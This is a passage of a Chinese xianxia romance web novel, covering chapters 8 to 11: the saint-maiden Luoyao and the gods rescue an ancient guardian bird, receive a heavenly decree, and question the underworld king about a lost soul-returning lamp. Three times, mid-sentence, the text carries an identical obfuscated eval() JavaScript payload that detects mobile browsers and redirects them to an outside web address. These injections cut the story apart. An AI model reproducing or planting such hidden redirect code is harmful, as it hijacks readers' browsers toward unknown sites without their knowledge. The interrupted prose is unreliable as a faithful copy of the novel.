毕竟在他们赶到之前,珞瑶已经耗费了大量灵力,要是再碰上一次像方才那样的场面,恐怕真的会元气大伤。 珞瑶没再耽搁,确认目标后就变出了轻光绫,率先从悬崖上一跃而下。 寒风凛冽,她的袖角轻飘飘地拂过羲洵手背,牵动着他的心神。 悬崖…… 望着那角缥缈的衣袖,那一刻,羲洵的心神重重地晃了一下,呼唤声脱口而出:“阿瑶!” 他忽地失态,急急上前半步去抓,最后却扑了个空。 沧丞在一旁,将羲洵的表现尽收眼底,也不知他为何会突然如此反应,本来想装作没看见也没听见,可忍了半晌,越想越觉得牙疼。 “羲洵,你怎么了?” 沧丞硬着头皮问,心中对好友生出几分难言的嫌弃——就算是婚约对象,也不能半分都离不开啊。 不过,他们什么时候变得这么亲近了? 羲洵呼吸莫名的急促,脸色也不好看,经沧丞一问才恍然回过神,眸色随之复归清明。 “没什么……是我走神了,走吧。” 说完,他没给沧丞继续追问的机会,跟在珞瑶身后飞身下去。 状态之平静,仿佛刚才怪异的种种表现,只是他人一时眼花的错觉。 看着羲洵远去的背影,沧丞心里发毛,隐约感觉哪里不对,真要说又说不出来,再联想到他在隐月湖出事前就传音让自己过来,便愈发觉得奇怪了。 ……这家伙,什么时候练成了未卜先知之术? 8. 既见浮生(八) 山谷之下,雪沫寒霜盈满浮空。 三人先后落地,环视四周,见这里的景象与冰崖上并无太大差异,只是山体之间更加崎岖,还多了几个被积雪堵住的洞穴,安静得仿佛空无一物。 方才已经暴露踪迹的幽祟,现在却一只都没有现身,好像根本没有存在过一样。 三人不动声色观察着,羲洵扫过周围,目光悄然变得锐利,“它们埋伏起来了。” 懂得隐匿气息,所以也明白埋伏诱敌的道理——在高阶幽祟的身上,这种进步并不令人意外。 不论珞瑶还是羲洵或沧丞,都不是沉不住气的人,然而一盏茶的时间过去,那些潜藏起来的幽祟始终没有现身,好像铁了心要与他们耗下去。 又过了一会儿,沧丞的耐心被耗尽了,索性不再专心致志等着蛇出洞,目光逡巡一圈,最后落在角落一座足有几人高的冰山上——与其说是冰山,不如说是一个巨大的冰块,突兀地立在那里。 不像自然凝结而生的,仿佛是被刻意安置在这里、为了挡住后面的什么东西一般。 珞瑶和羲洵的目光也被吸引过来,几人打量了半天,有心将其移到别处,不料这座“冰块”如同金属浇铸而成的一般,饶是他们如何用力推,甚至使用法术,竟都纹丝不动地立在原地。 冰来自水,水可化冰,面对这座反常的大冰块,身为水神的沧丞合该有法子,然而当他动用神力半晌,最后收手,却只有挫败地叹了口气。 “这冰山是上古时留下来的,里面含着上古神力,也可能是什么神兽设下的禁制,我也化不开。”沧丞道。 在场的一个是澜渊圣女,剩下两个是六界中最尊的神明,谁成想会被一个其貌不扬的冰块难住? 直到这时,几人才意识到一件事——在隐月湖底,方才他们经过的密林充其量只算是外围,而这冰山雪海下面的断崖山谷,才是真正隐秘的深处。 断崖之外设有结界,修为不够根本无法破开,意味着这里人迹罕至,平常怕是连魔族中人都难以踏足。 因此,此地应该荒废有些年头了,在这冰山之后,必然藏着什么重要的东西。 一筹莫展之际,珞瑶听到动静,睨了一眼不远处被雪淹没的山洞,其中暗影浮动。 思量片刻后,她计上心来,“幽祟沸腾的血,能否化开坚冰?” 冰山来自上古,幽祟身上的邪元之力亦诞生于上古,既然如此,以毒攻毒有何不可? “可行是可行,不过……” 幽祟的血好取,该如何才能“沸腾”? 沧丞不知珞瑶在打什么哑谜,面露不解,回头一瞧,却见羲洵心领神会,唇边已浮现出笑意。 他抬起手,指尖蓦地逸散出浅金色的光焰,对珞瑶道:“你只管动手,我去引来烈光。” 沧丞看看这个又看看那个,某一刻福至心灵,跟着恍然大悟——羲洵可驱遣世间光明,光意味着暖,岂不是现成的“热源”? 沧丞眼睛顿时亮了起来,忙道:“可行,可行!你们快试试!” 冰雪相映,轻光绫破空而来,行动如有神,把眼前的浓云密雾荡涤了个干净。 积雪轰然倒塌,藏匿起来的幽祟不堪压迫,纷纷从山洞中冲出来。 绫罗裹挟着冰碴雪沫,使灵力强势地蔓延向四面八方,黑气横流,伴随着怪物墨色的尸血。 珞瑶飞向高空,操纵轻光绫卷起尚未灰飞烟灭的幽祟尸体,掷向坚实的冰块。 极寒伴随着阴霾,羲洵两指一挥,神光直指天穹,熠熠烈阳照破了顶空翻涌的湖水,投射在冰山雪海之上。 暖意逐渐驱散了彻骨的冰寒。 被诛杀的幽祟一个接一个叠在冰块上,没过多久就堆成了小山。黑血漫溢,顺着冰山的轮廓汩汩流下来,在烈光下如蒸发般冒起气泡,随之沸腾。 坚冰开始融化。 全部幽祟都被消灭干净了,角落里,随着尸体随风消亡,原本巨大的冰块也消融了个七七八八,背后赫然出现了一道数丈高的秘门。 “看来这里的确藏着了不得的东西。” 沧丞上前,没想到大门上没有结界,亦没有机关,轻而易举就推开了。 三人走进去,令人诧异的是,里面没有什么罕见的天材地宝,到处是霜冻的冰花,同外面几乎没有差别。 深处,通体金黄的鹏鸟羽翼凋残,蜷缩在枯树下一动不动。 珞瑶远远望着,心都漏掉了一拍。 “……缃雀?” 她轻声唤道 鹏鸟起初无声无息,而后有所觉,挣扎着从翅膀下抬起头,在看清眼前人是谁后,眸中骤然现出惊喜的光彩。 “珞瑶,我在这儿……” 它跌撞着站起来,翅膀扇出一阵劲风,巨大的身体在飞行中越变越小,最后变化成一只两寸宽的小黄鸟,摇摇晃晃摔进了珞瑶掌心。 沧丞和羲洵也辨认出了它是谁,无不感到意外。 缃雀,曾为澜渊圣境的守护兽,与整日打滚卖萌的丹狸不同,它生于上古,资历深厚且寿数漫长,目睹了万年以来六界的兴衰起伏,也见证过数任圣女的诞生和陨落。 千年以前,它在一场围剿幽祟的行动中意外失踪,之后就再也没有出现过。众人遍寻无果,以为它已经身死魂灭,不成想今日探寻魔族秘境,竟在这里发现了它的身影。 感受到缃雀周身灵气微弱,珞瑶把它笼在手心,召唤出一个小型的护身阵法。过了不久,它有所恢复,抖了抖金黄色的绒羽,缓缓睁开了眼。 “我本以为你我再难重逢……圣女殿下,好久不见。” 缃雀有了飞翔的力气,于是舒展翅膀,重新飞向空中。 秘门大开,它挣脱了禁锢,宽阔的羽翼遮蔽千里,周身古老的兽纹褪去黯淡,再度焕发出光泽。 昔日生死不明的旧友,如今猝不及防地重逢,说不欣喜是假的,珞瑶仰头望向那盘旋的身影,主动问:“你怎么会被困在这里?” “一千年前,我跟随圣境使者在魔、灵两族边界追剿幽祟,中途意外与其他人失散。我为毒草所伤,失去了辨别方向的能力,最后误入隐月湖,掉下了断崖。也正是来到这里我才知道,原来更高一阶的幽祟早已悄悄潜入了界内。” 缃雀停留在三人身旁,继续道:“隐月湖的水汽能消灭最普通的幽祟,却对它们束手无策。我孤立无援,倘若强行闯出去,极易被山谷里潜藏的那些怪物夺去心神,一旦它们得手,我的肉身就变成了为祸一方的工具。” 各界秘境由天地孕育而成,内部地形复杂,到处是寻常难以探索的隐秘之地。缃雀从湖底断崖跌落,被困在了这里,就算当时魔族真的进入秘境 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202254|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻找,恐怕也难以发现它的踪迹。 难怪在它“失踪”之后,他们四处寻觅皆无果。 面对高阶幽祟,珞瑶和羲洵他们能防范邪气入体,兽族却少有抵御的能力。缃雀作为上古神兽,不论战力还是寿命都处于强盛期,若当真遭遇幽祟附身,届时神智迷失冲出隐月湖,还不知要闯出多大的祸端—— 也正是因此,它才会动用上古神力凝结出巨冰,目的是拦住那些幽祟攻破秘门,却也彻底堵塞了自己逃出生天的唯一通道。 珞瑶这次亲探湖底本是想寻找幽祟的踪影,没想到阴差阳错下竟然救出了缃雀,着实是意外之喜。 “我们回澜渊去。” 她伸出手,缃雀缩小身形,变成小黄鸟的模样落在了她指间,用尾羽亲近地蹭了蹭她的皮肤。 三人一鸟准备离开,期间,珞瑶想起某事,灰蓝色的瞳眸暗了暗。 她问缃雀:“你在圣境万年,可曾遇上过镇幽珠异常的情况?” “什么异常?” 缃雀不解,见珞瑶垂下眼帘,似有怅然。 随后,她掌心摊开,镇幽珠缓缓现出来,表面浮着一层微弱的光。 “这——” 缃雀大惊失色,浑身的羽毛都奓开了:“怎么会这样?” 气氛沉寂了几分,珞瑶抿着唇,沉默地摇了摇头。 若她知道缘由,此时心头的焦灼还能少一些,至少可以从出问题的地方顺藤摸瓜,也许还找得出答案。 但镇幽珠先前一直稳定,今灵力衰退,可以说是毫无征兆的。 回想起那天碧火台上发生的意外,是镇幽珠离危险最近的时候,可那时幽祟并未得手,当场便被她诛灭了。 究竟是哪里出了问题? 珞瑶未语,蹙着眉头,羲洵看在眼里,温声道:“镇幽珠状态不佳,好在我们解救了缃雀,兴许还有一线应对的希望。” 镇幽珠前脚衰弱,后脚他们就找到了缃雀,未尝不算一种别样的柳暗花明——缃雀身为上古神兽,它的魂识连接天地,有听问天命的本领。 或许今日之危局,只是天道赋予六界的一场考验。 沧丞精神大振,当即道:“对!事不宜迟,我们把朝梧和羲泠她们全都叫来,现在就去澜渊!” …… 众人有了明确的打算,很快出了隐月湖,转瞬间化作几缕耀眼的光芒,向澜渊圣境去了。 不久,湖岸边茂密的树丛轻晃,从后面缓缓走出一个高大的男人,也不知何时来的。 他立在原地,身形虚实不定,在阴郁的环境里闪动,唯有那双暗红色的眸子,亮得如同黑夜中的炬火。 随从恭恭敬敬跟在他身后,小心请示:“主上,你就这么不告而别,要是圣女问起来……” 头顶响起一声嗤笑,仿佛自嘲,“那又如何?” 他跌落深渊,为人所救,与那人本是萍水相逢,心底的贪念却挣脱了恩情的束缚,逐渐变得膨胀。看着他们共进退、言行亲近又自然的模样,他只觉得说不出的刺眼,心中愤懑、不甘…… 还有,眼红,忮忌。 哪怕早就知道她是不可亵渎的圣女,其他人则与她地位相当,乃是高不可攀的神族。 他目光仍盯着一行人离开的方向,“在她眼里,我只是一只无足轻重的兽宠罢了。” 9. 既见浮生(九) 接到来自隐月湖的消息后,神山上众神齐出,与珞瑶一行人在澜渊圣境汇合。 云霞浮在天边,圣坛之上,珞瑶与八位神明围圈而立,中间安放着光芒微弱的镇幽珠。 镇幽珠关乎六界的存亡绝续,如今出现意外,注定不能广而告之,因此,这是一场澜渊与神族的秘密会面。 缃雀盘旋在上空,广阔的双翼泛着华光,珞瑶划破手掌,将流出的血液覆在镇幽珠上,随后,众神亦割破手指,歃血起阵。 被染红的灵珠浮向高空,缃雀疾飞上前,在熠熠明光里发出一声高亢的长啸。 阵法已成,圣坛上霎时间灵光大盛。珞瑶双手掐诀,向天外长虹贯日的方向输入灵力,周遭涌起一阵劲风。 澜渊圣境传人珞瑶,望上天降下指示,使六界生灵免遭横祸。 珞瑶闭眼默念,眼尾那道灵昙印痕闪动,现出莹蓝色的澄光,她身后,八神催动神力,共同激活灵咒。 吁兮天问,见我所见,闻我所闻。 万物有灵,言出法随,懔遵无违。 圣光与神力汇聚,逐渐开辟出一道直指天穹的光柱,耀眼到让天地也为之失色。 随后,一张泛着金光的卷轴从天而降,缓缓落向圣坛,在离众人不到一丈距离时停下,于浮空中展开。 飘浮其上的寥寥几字,就这么映入了在场所有人的眼帘。 ——归魂灯之星、雾河泉下泥、圣女心头泪。 有了天道的指引,众人因镇幽珠衰弱而引起的不安消退了大半,至少确认了世上存在挽救镇幽珠能力之物,那么,一切就不算太糟糕。 可天命卷轴上所写的三样东西,到底是何物? “雾河在何处,归魂灯又是何方神圣?” 众神资历深厚,就算最年轻的也活了上万年,不说遍览天地间的稀罕物,但也个个见多识广,可是现在天道告知的三样东西,他们竟都闻所未闻。 就连最后一样看似轻而易举就能得到的东西——圣女心头泪,“圣女”自然指的是珞瑶,但这“心头泪”又该从何说起? 在场所有人都满腹疑云,不得解法,朝梧道:“现在有了指示,细细打听总能找到线索,哪怕是掘地三尺?待我先下界打探一番。” 她说完,其他人表示认同,很快又有几位神明出面,主动提起要去其他族界探查,纷纷离开澜渊而去。 不久,传音蝶悄然飘了上来,落在了珞瑶肩头。 她指尖轻点,那道蝶影缓缓变淡,最后变成了一份薄薄的名册,来自冥族王宫。 冥界任命的上一任圣境使者任期已到,需要敲定下一位继任人选。 她打开名册,里面并无他语,只孤孤留着一个名字。 “炎庚。” 珞瑶确定自己从前不认识此人,而今看到他的名字,却感到一阵莫名的熟悉,全然没有注意到羲洵睫羽轻晃,眼底掠过不易察觉的情绪。 …… 缃雀初回圣境,为了了解过往百年里六界的安危形势,需要前往浮生镜前一观。 珞瑶随缃雀同去神山,等它归来的功夫,在羲洵所居的沉泽宫小坐。 与澜渊万草千花的繁盛景象不同,沉泽宫有山有水,论起草木葱茏虽逊色几分,但胜在开阔,殿宇楼阁多是端方简洁的线条,几丛玉竹种在长廊沿侧,更加显得雅致。 日映岚光,杳霭流玉,所到之处皆浮动着柔和又充盈的神力,仿若春风拂面。 珞瑶与羲洵并肩走过长廊,显得有些沉默,羲洵知她思虑,问:“还在想那三件东西?” 被戳中心事,珞瑶也没瞒他,点了点头。 天道虽然降下指引,却令人毫无头绪,这种明知前方有路却不知该怎样走的感觉,着实不佳。 “沧丞他们已经去各界寻找了,有消息就会传回来,不妨再等一等。”羲洵宽慰道:“留给我们的时间还很多。” 今日在圣坛上,众神将神力注入了镇幽珠,使其重新焕发了光彩,力量虽不比往昔强盛,但也足以维持一阵子了。 天命卷轴既降,那就是六界命不该绝,与其为尚未发生的事心焦不已,不如且行且看。 思及此,珞瑶心头放松了一些,无声吐了口浊气。 两人穿过长廊,不远处,一片清湖雾气缭绕,是沉泽宫灵力最充沛之处,碧玉水潭。 与上次珞瑶来时见到的景象相比,这里的潭水愈发清澈透明,而在近岸堆石砌玉的浅滩处,都种着一大片小叶昙花。 万籁俱寂,莹白的花瓣如月下霓裳,有的蜷曲,有的舒展,无不盛放到了极致。 昙影在水边摇曳,姿态依旧优雅而婀娜,而这份美好,却再也不是转瞬即逝的了。 珞瑶心中一动,那瞬间也不知被什么念头驱使着:“为何要让这些昙花永生?” “因为……喜爱。” 羲洵轻声回答,胸中鼓噪的“咚咚”声响起来,压过了四周簌簌的风声。 因为一个人,喜欢一种花。 羲洵踯躅良久,而后不躲不闪对上了她的眼眸,清隽的眉目在光里镀上了一层金辉:“如果连自己喜爱的花都留不住,就是再高深的神力,也没有存在的意义了。” 两人四目相对,都没挪开,只是一个心中忐忑,一个无所波澜。 珞瑶神思放空,面上混进了几分少见的懵懂:“喜爱是什么感觉?” 微妙的气氛瞬间破碎了。 羲洵神情微僵,过了两秒才堪堪反应过来——她情窍未开,哪里懂什么喜爱不喜爱?现在跟她说这些有的没的,完全是在做无用功。 想到这里,羲洵好气又好笑,暗暗懊恼自己操之过急。 不过片刻,他神情就恢复如常,耐心向她解释起来:“就是一种与厌恶相反的情感,你厌恶幽族,不愿看见它们出现,想把它们彻底消灭,而面对缃雀、丹狸,还有……” 他几不可察地顿了顿,随后又若无其事地接上,“还有,你之前带回澜渊的那只白虎。你喜爱它们,所以让它们与你一起生活、同它们玩耍,还会挂念它们有没有好好吃饭,为它们带沧丞那里的鱼。” 羲洵本以为说完后她会思索,抑或是继续问一些有关“喜爱”“厌恶”的问题,却没想到她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202255|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹙起眉头,反驳道:“我没有同小白玩耍过。” 珞瑶回想一番,不仅没有玩耍,她甚至没有在小白清醒时与它说过话。 羲洵一怔。 这句话委实在他意料之外,慢半拍反应过来“小白就是白虎”后,方才那阵若有似无的低落竟奇异地平息下去,取而代之的是一阵不合时宜的甜。 他觉得,自己似乎有些太容易满足了。 “那你喜爱它吗?”羲洵贪心起来,几乎是得寸进尺地在试探。 喜爱吗? 老实说,尽管有了羲洵的耐心解释,但珞瑶终究没有过亲身的经历,所以,她还是不太清楚什么才算真正的“喜爱”。 不过,想到羲洵说的“一起生活”、“带沧丞的鱼”,她又觉得很符合。 于是,珞瑶回道:“也许吧。” 这是什么答案? 羲洵听懂了她的模棱两可,心下无奈,一时竟不知自己该不该失落了。 身旁昙花摇曳,他手轻轻拂过,似是随口道:“说起那只白虎,我还颇为好奇……今日我们都在圣境时,倒是没看见它的踪影。” 珞瑶:“它的伤已经大好,一直留在澜渊不妥,我便让它离开了。” 羲洵听后愣了一下,眸中闪过意外,“……离开了?” 珞瑶不疑有他,轻轻应了一声。 听丹狸说小白是不告而别,不过它伤势已愈,本就到了该回自己族界的时候。 诧异过后,羲洵也没再继续追问,眸中悄然流露出悦色,见他如此表现,珞瑶反而诧异了起来。 过了一会儿功夫,传音蝶翩然而至,看来是哪位神君在下界有了进展。 珞瑶心头一振,凝神静听,是沧丞传回的音信。 他们要找的三样东西之一——归魂灯,据说具有聚魂固魄、起死回生之效,依照仙书古籍里的记载,此灯由嬴氏一族先祖所炼制,来自冥界。 这无疑是一个巨大的好消息,喜悦之余,羲洵垂了垂眸,低声道:“看来,我们很快就会再见到他的。” 珞瑶刚刚在想正事,一时没有听清他的话,回神后出声询问,而他翘起唇角,只是向她摇了摇头:“没什么。” …… 又过了片刻,缃雀从浮生镜神台上归来,珞瑶便不再多作停留,准备回澜渊去 是时,羲洵望着她离开,忽而开口:“阿瑶,答应我一件事,日后不论遇到什么艰难,都不要不惜命。” 不知为何他会突然叮嘱,珞瑶停下了脚步,回过头,看见他眉眼柔和,神情中满是认真。 “有你在,六界才有重获安宁的希望。”他道。 事实上,圣女由天道孕育而生,若上一任身死陨落,很快就会有下一任降世顶上,继续承担护佑天地的责任。 正因如此,就算没有她,六界也能克服艰险,继续安然无恙地存在下去。 珞瑶这样想着,羲洵却摇了摇头,“不一样。” 夜色静谧,临水照花时,花影重重叠叠,愈发显得清丽。 他似乎笑了一下,轻说:“……于我不一样。” 10. 晴光业火(一) 为了寻找归魂灯的下落,一日后,珞瑶离开澜渊圣境,羲洵随她同去,两道明光划过天际,转眼间越过了万里,降下冥界。 夜色浓重,不见星月,远处,连绵的山川遍体荒芜,透着阴森鬼气,街市上亮着一盏盏冥火青灯,依旧照不亮头顶苍黑色的天空。 两人的气息太过强势,甫一来便惊动了整个冥界,鬼差奉命前来迎接,恭恭敬敬把贵客送进了王宫。 珞瑶和羲洵跟着鬼差进入宫门,脚下是玄石铺成的桥,石桥两侧,黑沉沉的宫河深不见底,结了一层厚厚的河冰。 来到界主殿,冥王伯池事先接到消息,已在殿外等候,见两人到来,他揖手见礼:“见过神君,见过圣女,本王有失远迎,还望恕罪。” 羲洵让他起身,“是我们来得突然,不必多礼。” 寒暄一二后,伯池引他们进了主殿,命人呈上露酒茶点,不久后提起正事:“神君和圣女一向事务繁忙,今日来我冥界,不知有何贵干?” 羲洵:“先前我查阅古籍,见书中记载说有一法器名叫归魂灯,乃是冥族嬴氏后人所炼造,对固灵聚气有奇效,无奈不知真假,才特来问询冥王。” 殿前昏暗的青灯照着长者胡须,羲洵话毕,伯池的神情好像凝滞了一瞬,变得有些难看,静默半晌后才勉强恢复如常。 “确有此物。” 他回答道,似有不情愿,却令珞瑶和羲洵都精神一振。 伯池的目光狐疑地在两人面上游移,那双鹰眸因年岁而稍显浑浊,依旧不掩锐利,“不过,神君为何突然对此有兴致?我记得,近来上界并未传出圣女或哪位神君受伤的消息。” 珞瑶开口,搬出提前想好的说辞:“上次在碧火台发生的事,冥王也看到了,幽族实力日强,威胁镇幽珠安全,我欲重塑禁制,若得归魂灯相助凝聚碧火台灵气,必能事半功倍。” 如今镇幽珠灵力虽然微弱,但仍有拯救的机会,还没有严重到昭告天地的地步,倘若草草声张出去,只会冲散人心,自毁长城。 因此,自从那日圣坛问天之后,珞瑶已与众神统一了口径。 各界均有长老大能和各自的珍稀法宝,但终究力量有限,无法抵御日渐强盛的邪元之力,唯有拧成一股绳齐心对敌,才是真正利己的正途。 “圣境需要,我冥界自当全力支持,只是……” 伯池并未怀疑珞瑶的话,但却欲言又止,脸色不定。 羲洵看在眼里,适时道:“冥王有何顾虑,不妨开口。” 有了羲洵的话,伯池犹豫片刻,“那我就直言了。” 他叹了口气,选择了坦白:“归魂灯是我冥界宝物不假,只是此物阴寒至极,煞气重重,操控者极易受到反噬,当年有众多长老尝试未果,就连我也无法驾驭。五百年前它偶然丢失,就此流亡到了民间,再也没了踪迹。” 丢失了? 珞瑶心间一紧,抬起眼与羲洵对视,从彼此眸子里看出了同样的疑虑。 尽管心中失望,羲洵仍语气如旧,回冥王:“原来如此,看来是我们来迟一步,与其无缘。” 偌大一个冥界,除了现在他们脚下的王都,还有星罗棋布的城池边域,想寻找一件销声匿迹的法器,谈何容易? 原先亮起的希望,霎时间又熄灭了。 界主殿极为空旷,高阶之上,伯池坐在王座上,在他身侧还有一个位置,却是空悬无人的。 羲洵想起来——在冥界,界主更替仍遵从禅让制,能者居之,与其他几界相比更加特殊的是,这里不止有一位界主,而是双王共治。 他不动声色,仿佛随口提起,“记得先前几次议事都是由冥王出面,我倒是许久不曾见过冥后了。” 这次伯池很快就回答了,客套道:“劳神君挂念。近年来夫人专心闭关修炼,不喜见人。” 虽说闭关时长不定,但各界界主有政务缠身,少有百年不露面的先例。 珞瑶:“据我所知,冥后正是嬴氏后人,对归魂灯的下落也毫不知情吗?” “归魂灯丢失已久,夫人虽为嬴氏,亦无处找寻。” 伯池皱起眉,语气微微不善,“圣女此言何意,莫非是疑心本王知情不报,对关乎天地安危之事有所保留?” 实际上珞瑶也只是一问,没有怀疑什么,却没想到冥王一点即炸,反令人起了疑心。 “我并未作此想。” 珞瑶淡淡道,不欲与他争高低,羲洵的脸色却冷下去几分:“圣女心系六界安宁,不过关切一问,冥王何必动气?” 经羲洵提醒,伯池才意识到刚才自己言语的不妥,眼前之人乃是澜渊圣女,他说话使其不快,岂非冥界得罪了澜渊圣境? 他不禁心头一跳,忙向珞瑶低首赔罪,“是本王一时失言,望圣女莫怪……” 珞瑶仍想着归魂灯的事,哪里有心思同他论对错,口中应了应,其实只想尽早告辞离去。 冥宫没有归魂灯的下落,他们也不能就这么放弃,须得另去别处找寻。 既如此,两人不再多留。 伯池恭恭敬敬将他们送出界主殿,临分别前,不忘宽慰,“神君、圣女不必太过忧虑,明日我就遍告诸城,全力搜寻归魂灯的下落,一旦有了音讯,立刻告知上界。” 冥王主动示好,珞瑶也不是不懂得转圜的人,面色见缓,“那便有劳了。” …… 离开冥宫后,两人走远了一些,越过冰封千里的宫河,很快便踏进了冥都最热闹的街市。 人间的生灵死后失去肉身,过了鬼门关奈何桥,这便投入地府,成为冥族的子民,其中极少数身有灵根,还要等到修为增长到了一定境界,才能获得重获肉身的机会。 因此,这里的百姓大多曾是凡人,外貌和装束与人间基本无异,只是大多身形虚幻,脚下也悬空于地,“漂浮”着行走。 冥界终年不见天光,虽说四周光线暗沉,但现在未到深夜,沿路有各种摊位小贩,游荡的百姓颇多,也有一种别样的热闹氛围。 喧嚣之中,安静的人就显得格外沉默,并肩走在街上,其实却是漫无目的的。 “方才伯池说的话,你觉得有几分真?”珞瑶问。 羲洵不置可否,“真假难辨。不知为何,我总觉得他有所隐瞒。” 冥王性情暴躁易怒,却没什么深沉的城府,方才提起归魂灯时神情微妙,虽然掩藏得快,但还是暴露了异样,难免让人疑心他话语的真实性。 两人不约而同怀疑到了一处,珞瑶:“冥后与冥王平分权力,又手握重兵,怎会闭关百年之久?” 这也正是羲洵抱有怀疑的另一点。在他的印象里,冥后曾经常常出面参与六界议事,而且手腕和抱负颇为出众,不像是淡泊避世的性子。 如此,所谓“闭关不见人”就显得有几分蹊跷了。 这时候,珞瑶衣袖间光晕闪动,一只红白纹的毛线团现出原形,探头探脑地露出一双圆溜溜的眼睛。 丹狸跟着珞瑶出来放风,之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202256|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直藏在她的衣袖里,等到出了冥宫,终于耐不住好奇跑了出来。 “冥王不说实话,又找不到冥后,不是还有一个新上任的圣使吗?” 它急珞瑶之所急,不满地“哼”了一声,“你亲至冥界,那个圣使竟也不来拜见,不是架子大就是缺心眼,要是他在,也许还能打听打听归魂灯,现在是什么都不能了。” 从前那些圣使初上任,确实都会亲上澜渊一趟,不是谄媚巴结,而是由圣女传授镇幽之力,也问询身为圣使应该处理的公务。 对此,珞瑶自然清楚,同时也的确想问一问新圣使关于归魂灯的事,便道:“我召他过来。” 她召唤出传音蝶,正想施法,被羲洵拦住了,“我们刚刚从冥宫出来,已经吸引了不少眼睛,如今继续留在这里打探消息,若再传召圣使过来,岂不招摇?你想问他,不如等返回上界再行传音。” 他的话成功提醒了珞瑶。原本他们这次来冥界不高调,但方才冥王隆重迎接,现在他们的行踪应该已经六界皆知了。 前脚拜别冥王,后脚又召圣使相见,只为了寻找一个不知丢了多久的灯,若消息传出去,指不定会被各界如何揣测,万一阴差阳错怀疑到镇幽珠上去,那就真的适得其反了。 珞瑶还是把传音蝶收了回去。 两人一猫继续前行,没走两步,丹狸窝在珞瑶肩上,难掩兴奋的声音响起来:“珞瑶,那是什么?” 珞瑶停下脚步,远远一望,原来是几步之外的街市上有一个卖鱼的摊位,摊贩正在声声叫卖。 矮桌上摆着的鱼外形不一,还有一种鱼身上泛着冷光,是在其他族界没有见过的种类。 丹狸直直盯着那鱼,目光发亮,眼珠子都快要掉出来了。 珞瑶心中无奈,对身旁的羲洵说:“等我一下。” 她走远了些,带着丹狸来到鱼摊前。 摊贩是个寻常鬼魂,感受不到珞瑶周身灵力浑厚,但也能从衣着打扮看出她身份不凡。见她目光停在一处,殷勤地介绍起来。 “贵人好眼光,这是冥河灯鱼,今早才从暗处运来的,最是新鲜。” 珞瑶没听懂,抬起眸子,“‘暗处’?” 像是没想到她不知,摊贩忙看了看四周,见没有可疑之人才稍稍凑近,神神秘秘地低声:“就是鬼市。” 三言两句的功夫,丹狸已经挑好了鱼,珞瑶没把摊贩的话放在心上,毕竟她对冥界不熟悉,多得是她没听说过的地方。 该付账了,羲洵就站在不远处,目睹珞瑶随手从头上拔下了一支簪子,昆山蓝玉制成的灵宝,十分珍贵。 不过,说来也正常——她居于澜渊圣境,平时极少去各界采买凡物,身上自然也不会装俗世用的银钱。 羲洵望了一会儿,不由失笑。 摊贩看着簪子不肯接,正为难地摆手拒绝,羲洵走到她身边,把簪子接了过来,“你这支簪子珍贵,可寻常百姓拿到手,怕是没有典当的地方。” 他一边说着,一边从袖中取出荷包,拿出几枚冥界的钱币。 看着他熟稔的动作,珞瑶明显意外,问:“你怎么还随身带这个?” “就是为了防范这种情况,好替你‘赎’簪子。” 羲洵语调微扬,心情颇佳地接过摊贩找零的余钱,把它们收进荷包,一抬眼,发现珞瑶仍定定看着他,眸中不禁浮现出笑意。 他心中一动,索性换了个说法:“阿瑶,在下界,为他人花钱也是一种表达喜爱的方式。” 11. 晴光业火(二) 话音刚落,丹狸“哎呀”一声,好像听见了什么不得了的东西,随即害羞地捂住眼睛,一头扎进了珞瑶的衣袖里。 羲洵低头整理荷包,唇边的笑意更大了,无奈的是,真正需要理解这句话的人又没听懂。 珞瑶隐隐发觉他的话有深意,却又想不通透,于是联想到之前在沉泽宫学到的新“知识”——她会给丹狸带神山上的鱼吃,所以她喜爱丹狸。 丹狸认了主,在外不必开口就能传音,珞瑶思虑片刻,暗暗用神识提醒它:“羲洵喜爱你。” “欸?” 珞瑶自以为所想合理,却不料丹狸疑惑,片刻后反应过来,恨铁不成钢的声音在灵台中响起:“神君说的是你!珞瑶,你这个木头!” 珞瑶暗暗一怔。她吗? 圣女由天地孕育而生,若情窍不开,感知情感的能力就变得微弱。 珞瑶有些动摇,短暂从归魂灯寻而未果的忧思中分了神。 她侧头望向羲洵,还没思索出个所以然,摊贩的声音自耳边传来:“贵人,贵人?” 珞瑶回神,匆匆移开视线,原来是摊贩已将鲜鱼处理干净,装进了油纸包。 她接过,忽然想起不久前未尽的对话,于是问起:“你刚才说的鬼市,是什么地方?” 